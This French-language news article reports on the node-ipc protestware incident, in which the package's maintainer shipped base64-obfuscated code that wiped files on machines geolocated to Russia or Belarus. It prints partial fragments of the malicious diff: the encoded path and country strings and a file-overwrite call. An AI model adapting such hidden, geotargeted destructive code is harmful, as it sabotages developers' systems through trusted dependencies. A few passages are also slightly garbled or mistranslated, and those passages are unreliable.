Un développeur a été surpris en train d’ajouter du code malveillant à un package open source populaire qui effaçait des fichiers sur des ordinateurs situés en Russie et en Biélorussie dans le cadre d’une manifestation qui a provoqué la colère de nombreux utilisateurs et suscité des inquiétudes quant à la sécurité des logiciels libres et open source.
L’application, node-ipc, ajoute des capacités de communication interprocessus à distance et de réseau neuronal à d’autres bibliothèques de code open source. En tant que dépendance, node-ipc est automatiquement téléchargé et intégré dans d’autres bibliothèques, y compris celles comme Vue.js CLI, qui compte plus d’un million de téléchargements hebdomadaires.
Un acte délibéré et dangereux
Il y a deux semaines, l’auteur de node-ipc a lancé une nouvelle version de la bibliothèque qui a saboté des ordinateurs en Russie et en Biélorussie, les pays envahissant l’Ukraine et fournissant un soutien à l’invasion, respectivement. La nouvelle version a ajouté une fonction qui vérifiait l’adresse IP des développeurs qui utilisaient le node-ipc dans leurs propres projets. Lorsqu’une adresse IP était géolocalisée en Russie ou en Biélorussie, la nouvelle version effaçait les fichiers de la machine et les remplaçait par un emoji en forme de cœur.
Pour dissimuler la malveillance, l’auteur de node-ipc, Brandon Nozaki Miller, a encodé les modifications en base 64 pour rendre les choses plus difficiles pour les utilisateurs qui souhaitaient les inspecter visuellement pour détecter les problèmes.
Voici ce que ces développeurs ont vu :
+ const n2 = Buffer.from("Li8=", "base64"); + const o2 = Buffer.from("Li4v", "base64"); + const r = Buffer.from("Li4vLi4v", "base64"); + const f = Buffer.from("Lw==", "base64"); + const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); + const e = Buffer.from("cnVzc2lh", "base64"); + const i = Buffer.from("YmVsYXJ1cw==", "base64");
Ces lignes ont ensuite été transmises à la fonction timer, telles que :
+ h(n2.toString("utf8"));
Les valeurs des chaînes Base64 étaient :
n2
est réglé sur:./
o2
est réglé sur:../
r
est réglé sur:../../
f
est réglé sur:/
Lorsqu’elles sont passées à la fonction de minuterie, les lignes ont ensuite été utilisées comme entrées pour effacer les fichiers et les remplacer par l’emoji du cœur.
+ try { + import_fs3.default.writeFile(i, c.toString("utf8"), function() + );
« À ce stade, un abus très clair et un incident critique de sécurité de la chaîne d’approvisionnement se produiront pour tout système sur lequel ce package npm sera appelé, si cela correspond à une géolocalisation de la Russie ou de la Biélorussie », a écrit Liran Tal, chercheur à Snyk, une société de sécurité qui a suivi les changements et publié ses conclusions mercredi.
Tal a découvert que l’auteur de node-ipc gère 40 autres bibliothèques, dont certaines ou toutes sont également des dépendances pour d’autres packages open source. Se référant à la poignée de l’auteur de node-ipc, Tal a remis en question la sagesse de la protestation et ses retombées probables pour l’écosystème open source dans son ensemble.
« Même si l’acte délibéré et dangereux du mainteneur RIAEvangelist sera perçu par certains comme un acte de protestation légitime, comment cela se répercutera-t-il sur la réputation future du mainteneur et sur sa participation dans la communauté des développeurs ? », a écrit Tal. encore une fois pour ne pas donner suite à des actes futurs dans de telles actions ou même des actions plus agressives pour tous les projets auxquels ils participent ? »
RIAevangelist a également été critiqué sur Twitter et dans les forums open source.
« C’est comme si Tesla mettait intentionnellement du code pour détecter certains conducteurs et s’ils correspondent vaguement à la description, les conduire automatiquement vers le poteau téléphonique le plus proche en espérant que cela ne punisse que des conducteurs particuliers », a écrit une personne. Une autre personne a ajouté : « Et si les fichiers supprimés sont en fait essentiels à la mission et peuvent en tuer d’autres ?